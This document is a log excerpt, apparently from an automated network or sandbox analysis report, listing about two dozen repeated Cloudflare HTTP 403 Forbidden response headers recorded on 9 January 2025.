Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:46 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kxxWl6KH25Up8V%2BchSard4YMj4Hcqh3rUZ7t%2FQT2nSgyCaRRhZFwEo6xpCqiMsby0ZHaYz8u9naeGd72bI6xGROmG7JglNz5qSa%2FvJauWDaIp9IYzUondsne9gR8CCMMToqetSZt%2BO6k9W1s"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba6a9b187293-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2037&min_rtt=2034&rtt_var=769&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1417475&cwnd=158&unsent_bytes=0&cid=5bb95aa301ea18d8&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:47 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gxQsSisOKmHrR%2B%2B2VdGNVmPYKPQoIyFabdDTFyArJgNHRR0%2Fp9AphyeAKA6zGOI%2FsYav8zi5B7nnCRlCoiC25RCtpUbsAYbca51eI8v9iICmq8VH604y%2BiW9C1Q%2BdbFm47d6T1TTpYvm4EJk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba6e6960726e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2023&min_rtt=2001&rtt_var=795&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1338835&cwnd=224&unsent_bytes=0&cid=9f7e69f497b7684b&ts=143&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:47 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qohAzAAtz0IeTPlSe5tLbuRdzkR%2BUb3LWgKPX0beHTYikLX4KDIGRkd7ZhY19CQOwGbBBHr8gwd3oE6BkSYji4%2FKCDL2HrYJJM%2FWzO5bcnC9lfrNRL6VZdh1H5txQoPiN%2FIdPo0yvPoY3dBZ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba728d7443ad-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1767&min_rtt=1735&rtt_var=673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1682997&cwnd=203&unsent_bytes=0&cid=a8c6850d2b78630b&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:48 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5pMmFqdzFUqs%2Flhe8mnqGQ5J18kMMmXd3GHLjVorh4P3FwhQb%2FeXyNfwYSbwbq%2F0O%2FFlzj0zSmO8qbDqvN61KoAMTUL3fgNEtwSgXwjceRPEpPnWxdh2AlUpP3xuH7TRAHdt16xRXWeOvFJf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba763e1d41e6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1657&min_rtt=1657&rtt_var=622&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1756919&cwnd=182&unsent_bytes=0&cid=399a1f750f486b4e&ts=126&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:49 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=88vNZDnE%2Bzf4oX2HbL8HLe0RcbBL2K6H5lqg1ymB%2FVUspK5jlT3J5Mw7HqBdx9cm1nfIfflAgzZHa%2Fd2kPIkv2af8G6hyYvGbCEBf1VvdYJ5Lxrr8I19Y%2FIY%2Bhpn%2FDuI0rS2keys310Sy7sp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba7a08674211-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2214&min_rtt=2118&rtt_var=987&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1009681&cwnd=239&unsent_bytes=0&cid=24dba55bfca17ec0&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:49 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q8pNtHJCMQusiivepA3vIyllZ9mzQeHL0ERWPuUnmfVuBrlSNl49mLWJq4ANo%2F%2BSr4eyu5diJYABTr7s8m7PD431NQWSdWIKvOl1splmXgrTLTW9eG1tKsxZ6IKtTt%2FFM4OG0SaB8aCmq%2Bl1"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba7e0f564357-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1608&min_rtt=1598&rtt_var=619&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1738095&cwnd=175&unsent_bytes=0&cid=822d84c13771f723&ts=155&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:50 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L2nroDItaXM4NGF6Hi88VukN28rFYrXhfa7ZXCY2uMxY9ZVLADSjHGAv9kn88tl4AmnJZ3luyM2xGlFNe%2BPhecqTfgMsU3WpJLU6KCbyuCVUk4eZa88Z5t1o9yTV4mDIaAHT9d7eekkQ9QXU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba836fb90f9d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1542&min_rtt=1539&rtt_var=584&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1861057&cwnd=193&unsent_bytes=0&cid=d340160d57a9f250&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:51 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=13ogSwjZDl3fzgaQ%2Br3Y0YnnRpafpBNGaAaf0JuwuMRIhyLcAmfzsQp9CMBKTy6%2FUdQTy%2BX7Re5twNJd%2F4tIciVlvCkZwHUT7W1US6FIBxy0lOq7hO%2BNTlgOVgSk89FPg7iaGqoXe%2Fsw%2FHF0"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba8729d14396-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1661&min_rtt=1588&rtt_var=742&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1343146&cwnd=252&unsent_bytes=0&cid=23325553b54faf7d&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:51 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N6bPZMKQFILOxys70N487tl6oh8gXCJhJZLnJapxdV1sFaMrk3tRBFPeoae47ozSmLD1Wn%2Ftj1VRHsEMBxP5jaW1AMBROj%2BglJC1jZoQmTlhQH2baqCexNf0742qXXZYixUTCK2BU6qZHihr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba8b29cd439d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1585&rtt_var=603&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1803582&cwnd=200&unsent_bytes=0&cid=25361600aab7e582&ts=162&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:52 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LikAhiAi6xQkg5c28Ee%2BDVZ6D3XIemsua6YE8kGP2h9ty7dZhNb4iBguiQYaPoWhyzj%2FQIci3R6t4gjtC4TR4eN%2B8pbnrov%2FY57IpGYDD4yl8tJnHLGV6%2Bbt%2Fco%2Be%2ByhHqcK5r0U1COpdg1j"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba8ec9be41b4-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1654&rtt_var=621&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1759036&cwnd=199&unsent_bytes=0&cid=9e941abbf252f336&ts=117&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:53 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2%2F7OsZME1ewgcY%2BRhhUiS6O4B3jo1I6MdDkCLeQzrsTKImYQglXGspD9RCLA4hZAi10iF%2BFkteCD%2B%2BG4pooTv0tkTQbkaaC0gmy1WeFsl5G3AEF06Q2maUCFEjNielYznLKRCGIT8gfAWbwS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba927cd342e2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2127&min_rtt=2101&rtt_var=840&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1264616&cwnd=187&unsent_bytes=0&cid=b2def8f9246d53b1&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:53 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DJ%2F8Wh7%2Bwan38fAgyoX4azj0nSar20xZDyhi5RR1KIVRJquC4tMh%2BG4SCIrqKHg47BKUNfBscO2GHPIKImMteIPralvCZoLVy0XtUhFaTaZ89BOzY4xU3bebIRCH05WHuPWKfGfgJhK23HQb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba963e020f81-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1634&rtt_var=620&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1754807&cwnd=241&unsent_bytes=0&cid=14285ca10ac47d4e&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:54 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oJuLHHcApznESTF6bi0oTt%2FYWM6oG4ptZl2WrDj1GLcB4woes%2F%2B9QM2st6a2FbbGv5fJoRCvyjjr6PftlRnJwuBYUk64woErgYyKqhoa5xLf90VyhD9CRG0sJuyObeif003qyvGsgHav877R"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba99f8b2c44d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1672&min_rtt=1665&rtt_var=639&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1694718&cwnd=250&unsent_bytes=0&cid=dc0df7821719e64b&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:54 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y86Ik4iFGjSfJOvPTS4ldG7aa20qv0j%2BUkEg7Bxpu7LIL6BI%2Fz9OHgVtSC%2FGLZ3EXljGcBssWcSbUF52IORE%2B%2FF7ZZ%2BzIcu%2BVDLtIwSLby2cMxG45SE7K7t7OL4OyhK4YsfrrI%2B%2Bovk7Vcu7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2ba9e5f5542e7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1770&min_rtt=1765&rtt_var=673&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1613259&cwnd=242&unsent_bytes=0&cid=43a2c4b76427ff97&ts=171&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:55 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KiOOWTxtDX89WKSVvnS9UE0cSpeIDWFdZUVrxArVOKsEgUbiLEyQvIFa7QKg5Y1R4bHMYXaM%2Fm8bDQjD9qQw0y2IUSJ5lWJTri3JFb9M4m5tcckQqOPoxWA7pI9Gv6bbH1HNWEj0tlKfPevX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2baa21fdd8ca2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1941&min_rtt=1928&rtt_var=749&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1436301&cwnd=252&unsent_bytes=0&cid=f3407132621adf1d&ts=133&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:56 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3SMxqvN%2BbTqdFC%2FhfWmh8p6kb7KTfHkmr7KirwS%2Fw3nDJBu5ob%2Fbh8uBQNyXoIAfPQtw%2F9K4Rwy7%2Fm6ViXfuLpNF0m7DtmRgV6re2Q99f7mEfjPHfU%2B2mPFaBtJT0iEHEYocymRiEinCDuFf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2baa5ef3e4374-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1593&min_rtt=1586&rtt_var=609&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1775075&cwnd=32&unsent_bytes=0&cid=610c86081787777c&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:56 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RF2v0XhM2M7EEAGO8scHO3uJovhZ2mCuAw9VRd02915t8NNGISNAUgr2HhkWFOUv6rtbiC0GJ0hA54Pve2oblorZzaAsjMpyCsZdpI%2BvzDQkFesHk6BdupDsMx6ljMt4mA9UcdxanT%2B2wbbq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2baa9bd0e43bc-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1616&min_rtt=1612&rtt_var=613&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1771844&cwnd=221&unsent_bytes=0&cid=6f52794e05391e2d&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:57 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nrLApsjm%2BSGwgk%2FPeB6ZTuwZE%2Bb0PR0W3vgUEo9hZjcGLGuTYVY326ajUAN8HehJZr53lGe6NuKWCHFug%2FSFI8t6EbwLQeVZi0FWishXsf17hSoDaXPzaxA6rIGXt44K%2FDuU7ow0cfUm1tyW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2baad8a655e65-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1566&min_rtt=1557&rtt_var=603&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1787025&cwnd=242&unsent_bytes=0&cid=954a2a8b7fa2385d&ts=125&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:57 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=slVuSufc02%2BuSnIXwkxbCSScoNqDAkmC45oH7Hzo%2FiltVART9emFLST5%2FUbVwxp1VA%2B87QRh3cGAnar5qdgZpPZZZk5pxI8OUgNIB94ciAzzcvae9XY8EO21aQPgEZnO6ebwO9GDRS26ZOJG"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bab16c5f0f51-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1469&min_rtt=1459&rtt_var=568&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1893644&cwnd=204&unsent_bytes=0&cid=7f3e49b74f85e8d2&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:58 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=In6KjpLgeybi1mLxtb7t5TatEOITI3WNunL6OcFwBt8j%2BrCt1gtzNXrIV3%2F1YPmlgqHeFperD9ZRDQDbEYh9RN7TcYhSLaAqRyXDmXoBOP%2BV%2B3nM11aciIQhCTvmlS6jr%2BdxyPawn5ngzIrB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bab52b2cc461-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1656&min_rtt=1652&rtt_var=627&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1732937&cwnd=228&unsent_bytes=0&cid=e009b764aab40651&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:59 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9hWbZA4cNAM5yXyiqPOKCd7rmTb0BTkmOT2vbX%2BK323GkClnf41J24N5ZHWTVrOxXy7JTr5YVPV1vitNMPbZreFSg7rveKXdV0POfoS8sufyl3qp8Fu%2FYQTOd4OSK8Gn98VuzmfFlu16PeOV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bab91e997d18-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1975&min_rtt=1972&rtt_var=746&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1460730&cwnd=222&unsent_bytes=0&cid=248f9166528bd880&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:59 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K4VVbakseUdjGi%2BS7OUjT8adl9mL0%2B8%2B0Mkym8bttfaT1jLRav0LEBPSQV7cwsAwW3UO8yml35796zT%2BYqgEktEpi2hNmGvnr3zjWSnBTBnweCC2ZHcKcceh%2Fv2eTWy1AaRM3es8E5LN%2FtCk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2babcee917283-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1894&min_rtt=1892&rtt_var=714&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1527995&cwnd=244&unsent_bytes=0&cid=e93b589b26047fc2&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:00 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r87zRfsAn7Z9ypalX90JEpTsB%2BtRmNSeHXf32CbQLpdWfBbcmpY7PhhhvqwnNPOBomcgezslcY8d6bWyJMR9%2Bhf5qwkWexF0RH308L%2B7thRCCkPM8b711wtem%2FiVeRAxEnmt3lRpI6ygkffc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bac0da8943fb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2406&min_rtt=2404&rtt_var=906&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1205117&cwnd=180&unsent_bytes=0&cid=315e029115e474ce&ts=150&x=0"
